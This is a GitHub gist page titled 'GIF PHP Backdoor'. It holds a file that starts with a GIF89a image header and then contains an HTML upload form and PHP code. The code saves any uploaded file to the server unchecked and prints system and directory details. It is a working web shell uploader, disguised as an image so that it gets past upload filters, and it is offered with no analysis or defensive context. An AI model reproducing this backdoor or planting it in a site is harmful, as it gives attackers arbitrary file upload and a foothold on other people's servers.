Skip to content

Instantly share code, notes, and snippets.

@ivanvza
Created February 28, 2017 20:32
Show Gist options
  • Save ivanvza/0c8a4a1bf4e9b4fb9faab706cf16657f to your computer and use it in GitHub Desktop.
Save ivanvza/0c8a4a1bf4e9b4fb9faab706cf16657f to your computer and use it in GitHub Desktop.
GIF PHP Backdoor
GIF89aü%÷\u20ac\u20ac\u20ac\u20ac\u20ac\u20ac\u20ac\u20ac\u20ac\u20ac\u20ac
<center><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">
<center><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form></center>
<?php if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Done !!'; } else { echo 'Failed :('; }}
echo "<center><br><b>".php_uname()."</b><br></center>";
echo "<center><p><br><b>".getcwd()."</b><br></p></center>";
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment